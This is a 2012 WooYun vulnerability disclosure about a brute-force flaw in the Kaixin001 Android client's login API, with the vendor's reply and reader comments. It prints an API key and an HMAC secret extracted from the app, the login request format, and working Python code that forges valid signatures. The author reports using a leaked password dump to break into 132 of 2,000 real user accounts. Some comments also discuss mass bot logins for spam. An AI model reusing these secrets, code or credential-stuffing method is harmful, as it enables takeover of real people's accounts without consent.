当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014408

漏洞标题:开心网android客户端暴力破解漏洞,测试2000帐号,成功132个

相关厂商:kaixin001.com

漏洞作者: lijiejie

提交时间:2012-11-05 23:40

修复时间:2012-11-10 23:41

公开时间:2012-11-10 23:41

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-05: 细节已通知厂商并且等待厂商处理中
2012-11-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

开心网的android客户端(接口)存在暴力破解漏洞。
使用该客户端(接口)登录,不会限制登录错误的次数,且没有验证码。

详细说明:

通过抓包分析,得到登录时候的POST请求为:
POST http://api.kaixin001.com/oauth/access_token
oauth_signature={HMAC-SHA1计算得到的签名}&x_auth_username={用户名}&x_auth_mode=client_auth&oauth_version=1.0&oauth_nonce={一个不重复的32位MD5}&oauth_signature_method=HMAC-SHA1&oauth_consumer_key={API Key}&ctype=15803AndroidClient&x_auth_password={明文密码}&oauth_timestamp={时间戳}
通过参数列表可知,计算签名才是最关键的工作。
测试后发现,签名是跟用户名相对应的。
只要用户名不变,对应的签名可一直反复使用,无论密码是什么。
利用这一点,攻击者已经可以暴力破解某个指定的帐号。(如果他无法计算出签名,可以通过抓包来获取指定签名)
当然,为了得到签名的计算方式,我尝试将这个apk文件逆向,得到了混淆过的java代码。
因为代码实在太乱,我自己也不写java程序的,跟踪了几处后,还是放弃了。
但在这个过程中,我得到了两个Key:
public static String a = "87247717949570179fa41c43e20ed289";
public static String b = "8207525c8aa35c89b29385057f5905c9";
其中第一个为oauth_consumer_key,而第二个,是HMAC_SHA1计算使用的Key。
(才开始我也只分析到第一个key是API Key,但对变量b是做什么的不太清楚。)

在分析java源代码受挫后,我转向了 开心网的开放平台。
之前在java代码中存在的疑惑一一被解开。
特别是,我找到了一份“xAuth文档“,这也正是开心网android客户端所使用的认证方式!
http://wiki.open.kaixin001.com/index.php?id=xAuth%E6%96%87%E6%A1%A3
通过这个文档,我终于找到了一个可行的签名计算方法,附上python代码:
import sys
import hmac, hashlib
from urllib import urlencode, quote

userName = sys.argv[1]
passWord = sys.argv[2]
oauth_nonce = sys.argv[3]
base_string = 'POST&http://api.kaixin001.com/oauth/access_token' + \
'&oauth_consumer_key=87247717949570179fa41c43e20ed289' + \
'&oauth_nonce=' + oauth_nonce + \
'&oauth_signature_method=HMAC-SHA1' + \
'&oauth_timestamp=1351860016' + \
'&oauth_version=1.0&scope=user_rgroup&x_auth_mode=client_auth' + \
'&x_auth_password=' + passWord + '&x_auth_username=' + userName
base_string = quote(base_string)

h = hmac.new('8207525c8aa35c89b29385057f5905c9', base_string, hashlib.sha1)
s = h.digest()
signature = s.encode('base64').rstrip()
因为这个时间戳根本没起作用,hard code即可。
运行时候,传入三个参数,分别是用户名、密码、随机MD5(参数oauth_nonce)
即可得到对应可用的signature值,使用它,就可以进行登录测试了!
使用泄露的CSDN 600万帐号进行了测试,测试2000个帐号,成功破解出132个。

漏洞证明:

kaixin001-android-client-bugs.png

修复方案:

个人能想得到的一点建议:
1. key尽量不直接明文保存,反编译后可看到。
2. 当前我生成的签名跟客户端上生成的签名是不完全一致的,但依旧可用于登录。
(我参考的是文档,但从几个java代码片段上看,android客户端上似乎并未完全遵循文档?)
3. android客户端上启用验证码。 至于何时出现验证码,可斟酌。

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-11-10 23:41

厂商回复:

最新状态:

2012-11-14:bug已经修复,之前老的客户端没有支持验证码产品一直坚持不给增加验证码,本周已经增加单位时间登录失败的次数的限制,达到限制后短时间不可在登录


漏洞评价:

评论

  1. 2012-11-06 07:25 | 小奥 ( 路人 | Rank:6 漏洞数:8 | 小奥,大一学生一枚,热爱IT)

    成功率好高。。

  2. 2012-11-06 09:07 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小奥 一直以来都以为暴力破解成功率不高,作者给偶上了一课

  3. 2012-11-06 09:22 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    账号不停变,密码都用123456?

  4. 2012-11-06 09:50 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    测试2000帐号,成功132个 看成测试 200账号。。。

  5. 2012-11-06 10:03 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    接口暴力我喜欢.......

  6. 2012-11-06 10:37 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @horseluke 靠谱吧,不知道owasp top 10把这个算进去没有

  7. 2012-11-06 11:08 | 小奥 ( 路人 | Rank:6 漏洞数:8 | 小奥,大一学生一枚,热爱IT)

    @xsser 如果开心网给力,多线程跑弱口令字典,估计就不是132个了,还能更高。还有其实不只是开心网,许许多多的移动App都没有登录次数限制。

  8. 2012-11-06 11:11 | 小奥 ( 路人 | Rank:6 漏洞数:8 | 小奥,大一学生一枚,热爱IT)

    比如百度,他限制了移动端的密码尝试次数,但不限制移动端的登录个数,可以登录几百几千个马甲然后把登录信息做成马甲盒子来爆吧,刷粉等

  9. 2012-11-06 11:28 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小奥 移动上的安全策略往往没有pc上限制强度大

  10. 2012-11-06 11:36 | 小奥 ( 路人 | Rank:6 漏洞数:8 | 小奥,大一学生一枚,热爱IT)

    @xsser 安卓可以在电脑上直接模拟,抓包比较容易。苹果就难点了。不过我从前用一个叫腾袭的作者的工具里面的iphone接口,2000个账号5秒钟就能登录完了。移动端的安全策略弱其实还是程序猿懒,在电脑上能想到的很多手机上就不做。以后的移动应用开发者必须更加注重安全问题

  11. 2012-11-06 15:12 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    建议洞主在厂商修复之后再同步发到blog,否则再厂商修复之前只是加大了利用的人群,失去了报告漏洞的意义

  12. 2012-11-06 15:22 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小奥 因为手机不如pc那么对用户开放

  13. 2012-11-07 14:25 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @xsser https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#For_Mobile_Security_Testers "Top Ten Mobile Risks"。不知道算第二个还是算第五个

  14. 2012-11-11 01:28 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    哈哈。公开了

  15. 2012-11-11 05:41 | 白熊一枚 ( 路人 | Rank:3 漏洞数:1 | 呃,没有主页压力好大,等有了再补上-.-)

    危害等级:无影响厂商忽略 这……

  16. 2012-11-11 15:37 | 小奥 ( 路人 | Rank:6 漏洞数:8 | 小奥,大一学生一枚,热爱IT)

    洞主妥妥的杯具了…忽略…唔

  17. 2012-11-16 12:21 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    “只要用户名不变,对应的签名可一直反复使用,无论密码是什么。”我汗...这是典型没读懂标准的问题...

  18. 2012-11-16 12:23 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    “只要用户名不变,对应的签名可一直反复使用,无论密码是什么。”我汗...疑似典型的厂商没读懂协议标准实施导致的问题...